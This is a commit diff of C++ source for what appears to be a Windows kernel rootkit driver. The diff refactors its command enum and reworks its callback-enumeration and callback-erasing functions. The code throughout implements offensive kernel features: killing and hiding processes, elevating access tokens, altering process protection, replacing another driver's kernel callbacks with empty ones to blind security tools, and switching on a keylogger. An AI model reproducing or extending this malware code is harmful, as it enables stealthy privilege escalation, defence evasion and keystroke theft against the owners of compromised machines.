1515// --------------------------------------------------------------------------------------------------------
1616// Command
1717
18- enum COMMAND_TYPE
18+ enum COMMAND_TYPE
1919{
20- NONE,
21- KILL_PROCESS,
22- PROTECT_PROCESS,
23- ELEVATE_TOKEN,
24- HIDE_PROCESS,
25- ENUM_PROCESS_CALLBACKS,
26- ENUM_THREAD_CALLBACKS,
27- ERASE_CALLBACKS,
28- START_KEYLOGGER,
29- GET_KEYLOG
20+ NONE = 0 ,
21+ KILL_PROCESS = 1 ,
22+ PROTECT_PROCESS = 2 ,
23+ ELEVATE_TOKEN = 3 ,
24+ HIDE_PROCESS = 4 ,
25+ ENUM_CALLBACKS = 5 ,
26+ ERASE_CALLBACKS = 6 ,
27+ START_KEYLOGGER = 7 ,
28+ UNLOAD = 8
3029};
3130
32- typedef struct _PROTECT_PROCESS_PAYLOAD {
33- COMMAND_TYPE cmdType;
34- ULONG pid;
35- BYTE newProtectionLevel;
36- } PROTECT_PROCESS_PAYLOAD;
37-
38- typedef struct _EMPTY_PAYLOAD {
39- COMMAND_TYPE cmdType;
40- };
41-
42- typedef struct _PID_PAYLOAD {
43- COMMAND_TYPE cmdType;
44- ULONG pid;
45- };
46-
47- typedef struct _DWORD_PAYLOAD {
48- COMMAND_TYPE cmdType;
49- DWORD dw;
50- };
51-
52- typedef struct _WSTR_PAYLOAD {
53- COMMAND_TYPE cmdType;
54- WCHAR charString[64 ];
55- };
56-
57- using KILL_PROCESS_PAYLOAD = _PID_PAYLOAD;
58- using HIDE_PROCESS_PAYLOAD = _PID_PAYLOAD;
59- using ELEVATE_PROCESS_PAYLOAD = _PID_PAYLOAD;
60- using ERASE_CALLBACKS_PAYLOAD = _WSTR_PAYLOAD;
61- using ENUM_PROCESS_CALLBACKS_PAYLOAD = _EMPTY_PAYLOAD;
62- using ENUM_THREAD_CALLBACKS_PAYLOAD = _EMPTY_PAYLOAD;
63- using START_KEYLOGGER_PAYLOAD = _DWORD_PAYLOAD;
64- using GET_KEYLOG_PAYLOAD = _EMPTY_PAYLOAD;
65-
6631// --------------------------------------------------------------------------------------------------------
6732
6833typedef struct _CALLBACK_DATA {
@@ -78,82 +43,12 @@ NTSTATUS BeCmd_ProtectProcess(ULONG pid, BYTE newProcessProtection);
7843NTSTATUS BeCmd_ElevateProcessAcessToken (HANDLE pid);
7944NTSTATUS BeCmd_KillProcess (HANDLE pid);
8045NTSTATUS BeCmd_HideProcess (HANDLE pid);
81- NTSTATUS BeCmd_EnumerateCallbacks (CALLBACK_TYPE type );
82- NTSTATUS BeCmd_EraseCallbacks (PWCHAR targetDriver);
46+ ktd::vector<KernelCallback, PagedPool> BeCmd_EnumerateCallbacks (CALLBACK_TYPE callbackType );
47+ NTSTATUS BeCmd_EraseCallbacks (PWCHAR targetDriver, CALLBACK_TYPE cbType );
8348NTSTATUS BeCmd_StartKeylogger (BOOLEAN start);
8449
8550// --------------------------------------------------------------------------------------------------------
8651
87- /* *
88- * TODO
89- */
90- NTSTATUS
91- BeExecuteCommand (PVOID commandBuffer)
92- {
93- NTSTATUS status;
94-
95- DWORD commandType = ((DWORD*)commandBuffer)[0 ];
96-
97- switch (commandType)
98- {
99- case KILL_PROCESS:
100- {
101- ULONG targetPid = ((KILL_PROCESS_PAYLOAD*)commandBuffer)->pid ;
102- status = BeCmd_KillProcess (ULongToHandle (targetPid));
103- }
104- break ;
105-
106- case ELEVATE_TOKEN:
107- {
108- ULONG targetPid = ((ELEVATE_PROCESS_PAYLOAD*)commandBuffer)->pid ;
109- status = BeCmd_ElevateProcessAcessToken (ULongToHandle (targetPid));
110- }
111- break ;
112-
113- case PROTECT_PROCESS:
114- {
115- auto payload = ((PROTECT_PROCESS_PAYLOAD*)commandBuffer);
116- status = BeCmd_ProtectProcess (payload->pid , payload->newProtectionLevel );
117- }
118- break ;
119-
120- case HIDE_PROCESS:
121- {
122- ULONG targetPid = ((HIDE_PROCESS_PAYLOAD*)commandBuffer)->pid ;
123- status = BeCmd_HideProcess (ULongToHandle (targetPid));
124- }
125- break ;
126-
127- case ENUM_PROCESS_CALLBACKS:
128- {
129- status = BeCmd_EnumerateCallbacks (CreateProcessNotifyRoutine);
130- }
131- break ;
132-
133- case ENUM_THREAD_CALLBACKS:
134- {
135- status = BeCmd_EnumerateCallbacks (CreateThreadNotifyRoutine);
136- }
137- break ;
138-
139- case ERASE_CALLBACKS:
140- {
141- PWCHAR targetDriver = ((ERASE_CALLBACKS_PAYLOAD*)commandBuffer)->charString ;
142- status = BeCmd_EraseCallbacks (targetDriver);
143- }
144- break ;
145-
146- case START_KEYLOGGER:
147- {
148- BOOLEAN start = (BOOLEAN)((START_KEYLOGGER_PAYLOAD*)commandBuffer)->dw ;
149- status = BeCmd_StartKeylogger (start);
150- }
151- break ;
152- }
153-
154- return status;
155- }
156-
15752/* *
15853 * Method for setting the protection of an arbitrary process by PID.
15954 *
@@ -170,7 +65,6 @@ BeCmd_ProtectProcess(ULONG pid, BYTE newProtectionLevel)
17065 PEPROCESS process = BeGetEprocessByPid (pid);
17166 if (process == NULL )
17267 {
173- ObDereferenceObject (process);
17468 return STATUS_INVALID_PARAMETER_1;
17569 }
17670
@@ -297,63 +191,30 @@ BeCmd_HideProcess(HANDLE pid)
297191 * Enumerates kernel callbacks
298192 *
299193 * @param type Type of callback to resolve
300- * @return NTSTATUS status code.
194+ * @returns ktd::vector<KernelCallback, PagedPool> Vector of callbacks
301195 */
302- NTSTATUS
196+ ktd::vector<KernelCallback, PagedPool>
303197BeCmd_EnumerateCallbacks (CALLBACK_TYPE type)
304198{
305199 NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
306200 LOG_MSG (" IOCTL enumerate callbacks\r\n " );
307201
308- // TODO
309- /*
310- __try
311- {
312- // find callbacks
313- auto callbackVector = BeEnumerateKernelCallbacks(type);
314-
315- // setup buffer
316- ULONG dwDataSize = callbackVector.size() * sizeof(CALLBACK_DATA);
317-
318- // write buffer to output buffer
319- for (INT i = 0; i < callbackVector.size(); ++i)
320- {
321- RtlCopyMemory(&(pOutputBuffer[i].driverBase), &(callbackVector[i].driverBase), sizeof(UINT64));
322- RtlCopyMemory(&(pOutputBuffer[i].offset), &(callbackVector[i].offset), sizeof(UINT64));
323- if (!BeIsStringNull(callbackVector[i].driverName))
324- {
325- SIZE_T strLen = wcslen(callbackVector[i].driverName) + 1;
326- DbgPrint("Size: %i of %ws\r\n", strLen, callbackVector[i].driverName);
327- RtlCopyMemory(&(pOutputBuffer[i].driverName), callbackVector[i].driverName, strLen * sizeof(WCHAR));
328- }
329- }
330-
331- LOG_MSG("Copied\r\n");
332-
333- NtStatus = STATUS_SUCCESS;
334- }
335- }
336- __except (EXCEPTION_EXECUTE_HANDLER)
337- {
338- NtStatus = GetExceptionCode();
339- }
340- */
341-
342- return NtStatus;
202+ return BeEnumerateKernelCallbacks (type);
343203}
344204
345205/* *
346206 * Replaces all kernel callbacks of a specified driver with empty callbacks.
347- *
207+
208+ * @param targetDriver Name of target driver
209+ * @param cbType type of callback to remove
348210 * @return NTSTATUS status code.
349211 */
350212NTSTATUS
351- BeCmd_EraseCallbacks (PWCHAR targetDriver)
213+ BeCmd_EraseCallbacks (PWCHAR targetDriver, CALLBACK_TYPE cbType )
352214{
353215 NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
354216
355- // TODO: also get type of callback. for now hardcoded to createprocess callbacks
356- NtStatus = BeReplaceKernelCallbacksOfDriver (targetDriver, CreateProcessNotifyRoutine);
217+ NtStatus = BeReplaceKernelCallbacksOfDriver (targetDriver, cbType);
357218
358219 return NtStatus;
359220}
@@ -368,6 +229,7 @@ NTSTATUS
368229BeCmd_StartKeylogger (BOOLEAN start)
369230{
370231 BeGlobals::logKeys = start;
232+ LOG_MSG (" Log keys: %d\n " , start);
371233
372234 return STATUS_SUCCESS;
373235}
0 commit comments